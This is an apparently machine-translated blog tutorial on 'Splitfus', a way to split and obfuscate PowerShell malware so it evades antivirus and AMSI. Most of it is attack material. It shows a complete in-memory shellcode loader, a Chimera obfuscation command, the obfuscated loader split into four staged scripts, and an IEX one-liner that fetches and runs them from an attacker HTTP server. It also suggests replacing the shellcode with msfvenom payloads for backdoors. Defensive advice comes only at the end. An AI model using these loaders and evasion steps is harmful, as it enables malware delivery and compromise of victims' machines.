Currently, defensive systems such as Antivirus (AV) and Endpoint detection & response (EDR) are increasingly strong. However, hackers are constantly creating sophisticated techniques to overcome this protective layer. One of the common techniques is Splitfus. This is the method of dividing the PowerShell code and disturbing the code (Obfuscate), then executing each part in many stages (staged deliver). So why is this technique so effective? Let’s find out with me!
Join the channel Telegram belong to Anonyviet 👉 Link 👈 |
Splitfus (abbreviated for Split + Obfusication) is the technique that hackers use to:
- Split (Split) Powershell malware into many paragraphs, for example: malware1.ps1, malware2.ps1, malware3.ps1, …
- Obfuscate (Obfuscate) Each code to avoid being analyzed or detected by AV’s signature
- Execution in many stages (stageding): When performing the attack, the victim will download each code from the hacker server and run directly in the memory, instead of saving the entire Payload on the disc. This is a realistic type that is commonly known as Multi-Stage Attack or Fileless malware
- Reducing the possibility of being detected by signature-based detection
- Traditional AV is based on signatures or unique designs. When the malicious code is broken down and encoded, there is no paragraph containing the entire Payload, making the detection difficult.
- Avoid scanning and sandbox
- If the entire Payload is in a file, AV is easy to analyze before running
- With Splitfus, the monopoly is dynamic (on-demand) from the hacker server, so the sandbox environment is difficult to recreate the entire process
- BYPASS AMSI (Antimalware Scan Interface)
- Windows Amsi is capable of scanning PowerShell content before execution. However, with Splitfus:
- Small codes, Obfuscated and dynamic loads → difficult to be fully analyzed by Amsi
- Many hackers also combine Amsi bypass With Splitfus to increase efficiency
- Flexible and easy to update
- Hackers can change any segment on the server without spreading the entire Payload. This makes it harder for tracing or developing AV signatures
The simple theoretical part is so short, now I will take the actual example for you to easily imagine how the technique is done
Many APT and Malware Framework attack campaigns like Cobalt Strike, PowerShell Empire, Metasploit has applied the same mechanism as Splitfus to spread Payload Staged. This is a popular trend in current fileless attacks.
Alright, now I try to run a piece of PowerShell code: Write-Host “Invoke-Mimikatz”. Oh you see, Antivirus discovered and blocked this code. This is only a piece of code printing out the string on the Terminal, why is it blocked? Because it contains a string of characters “Invoke-Mimikatz”. This is one Signature (signature) Extremely famous and typical of the attack tool Mimikatz
Thus, the AVs are configured to immediately block any code containing this dangerous signature, even at the earliest stage, to prevent all potential intentions related to Mimikatz. This is a risk prevention measure.
So we already know how to AV is configured, now try separating the “Invoke-Mimikatz” string into many different short chains.
As you can see, although separating the chain into small parts such as “Invo”, “ke”, “-mim”, “ikatz”, AV still does not detect malicious code. Later, when we resumed these strings in the process of implementing the results, “Invoke-Mimikatz” but has surpassed AV’s detection system. This is the simplest example of Splitfus
Now let’s see a more realistic exploitation example with the following PowerShell code, with the file called SC-Boriginal.ps1
[Byte[]] $shellcode = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3) function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp = $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}} $handle = $assem.GetMethod('GetModuleHandle').Invoke($null, @($moduleName)); [IntPtr] $result = 0; try { Write-Host "First Invoke - $moduleName $functionName"; $result = $tmp[0].Invoke($null, @($handle, $functionName)); }catch { Write-Host "Second Invoke - $moduleName $functionName"; $handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $handle); $result = $tmp[0].Invoke($null, @($handle, $functionName)); } return $result; } function getDelegateType { Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void]) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
This is the PowerShell code to execute the Shellcode of Calc.exe on Windows, if we execute the entire code, it will be blocked by AV. And now I will apply Splitfus technique. First I will use the tool Chima To disturb this code, it becomes harder to read with the following statement
./chimera.sh -f sc-original.ps1 -l 3 -v -t -s -b -j -o sc-obf.ps1
Now, the PowerShell code was initially tangled by changing. Next, I will divide this file into smaller parts to execute in a discrete manner, making the security system unable to detect the typical signature of Shellcode
Next, I divided the SC-OBF.PS1 file into 4 separate files: SC1.PS1 (containing the shellcode storage variable), SC2.PS1 (containing the tangled LookupFunc function), SC3.PS1 (containing the tangled GetDelegatetype) and SC4.PS1 (containing the last 3 lines of code). Each part of this part is scanned individually will not cause warnings from AV. This is a disturbed and separate code of each file as I said
#sc1.ps1 [Byte[]] $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)
#sc2.ps1 function iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs { Param ($JzGCXcYJmJdQKoCerSqNXT, $LaHgzlZeSdXkwSwksNKHLbDEymlFp) $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') $jWwCsHjXRPShPEyyEBpzOw = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}} $aFUfleAnufbxjgylCpxMoZnlpUkts = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethod('GetModuleHandle').Invoke($null, @($JzGCXcYJmJdQKoCerSqNXT)); [IntPtr] $XHcKpPqwXEaSejzfchayBW = 0; try { Write-Host "First Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp"; $XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp)); }catch { Write-Host "Second Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp"; $aFUfleAnufbxjgylCpxMoZnlpUkts = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $aFUfleAnufbxjgylCpxMoZnlpUkts); $XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp)); } return $XHcKpPqwXEaSejzfchayBW; }
#sc3.ps1 function DdKSsQGFmFfVhpHEtVzHaZFCWQGs { Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $GVUAdTXmnEpoFzPorhRfka,[Parameter(Position = 1)] [Type] $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB = [Void]) $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed') $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed') return $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.CreateType() }
#sc4.ps1 $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll VirtualAlloc),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe, 0, $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll CreateThread),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH,[IntPtr]::Zero,0,[IntPtr]::Zero)
The steps to perform this Splitfus technique are also very simple. First, I used the following command to initialize the Python server on port 80 with the IP address of 192.168.1.17:
python3 -m http.server 80
This server will save the Script PowerShell files that have been separated and tangled, allowing the victim’s machine to download separate parts.
Finally, I created a brief execution command to execute on the victim’s machine
1..4 | ForEach-Object { IEX (New-Object System.Net.WebClient).DownloadString("http://192.168.1.17/sc$_.ps1") }
This command will download and execute each script file from SC1.PS1 to SC4.PS1. This is an effective way to overcome malicious detection mechanisms because each individual part can look harmless. When combined, they form a complete attack that many security solutions cannot be detected
With Metasploit, creating Shellcode becomes much easier. I will use the MSFVENOM command to create a new shellcode, then replace it with SC1.PS1. This allows me to customize the attack in many different directions, from taking the victim’s computer to steal information or install Backdoor
And these are simple examples, but in fact, PowerShell malicious code is not so simple. Hackers will have to use more techniques BYPASS Amsi To increase the success rate
How to defend before Splitfus
Splitfus technique is one of the sophisticated powerhell attack methods, difficult to detect if the system is not closely monitored. In order to effectively defend before Splitfus, the network security team needs to synchronously deploy many active measures, from monitoring behavior to building an early warning system and ending training.
Strengthen PowerShell monitoring
PowerShell is a tool that is often abused in modern attacks. To monitor abnormal operations, the system needs to turn on the Script Block Logging Diary feature (using the Event ID 4104) in combination with the logging module. These settings help save the entire PowerShell command that were executed, even when the OBFUSCATE was tangled. In addition, it is advisable to activate the Constrained Language Mode to limit the use of dangerous commands in the PowerShell execution environment.
Activate and protect AMSI (Antimalware Scan Interface)
Amsi is an important defense class that helps analyze the code before being executed in PowerShell. Make sure that Amsi is always enabled and not overcome (BYPASS) is essential. When integrated with Microsoft Defender or EDR solutions that support Amsi scanning, the ability to detect malicious code will be significantly improved, helping to prevent attacks from Splitfus early.
Check the dynamic load in the system
A common feature of Splitfus is to use dangerous parameters in PowerShell such as Encodedcommand or call the IEX function to download remote code via chain such as (New-Object net.webclient) .Downloadstring. The EDR or HIDS systems need to be configured to identify these behaviors. At the same time, it is necessary to be alert when detecting the script downloaded from unnecessary domain, especially the HTTP GET requirements containing the tail files .ps1.
Strict network access control
The network access control plays an important role in preventing Splitfus from communicating with the control server (C2 Server). It is necessary to actively block outbound connections to IP addresses or suspected domain. The proxy configuration combined with TLS test (TLS Inspection) will help detect the acting behavior hidden under encrypted connections. In addition, continuous updates of attack indicators (IOC) from Threat Intelligence Feed will improve the ability to identify and respond promptly.
Finally, the human element is always the weakest link in the defense chain. Propagating and training end users to raise security awareness is mandatory. Staff should be instructed not to run script from unclear sources. At the same time, the skill of identifying the fake email (Phishing) should also be focused because this is usually the starting point of Splitfus attacks.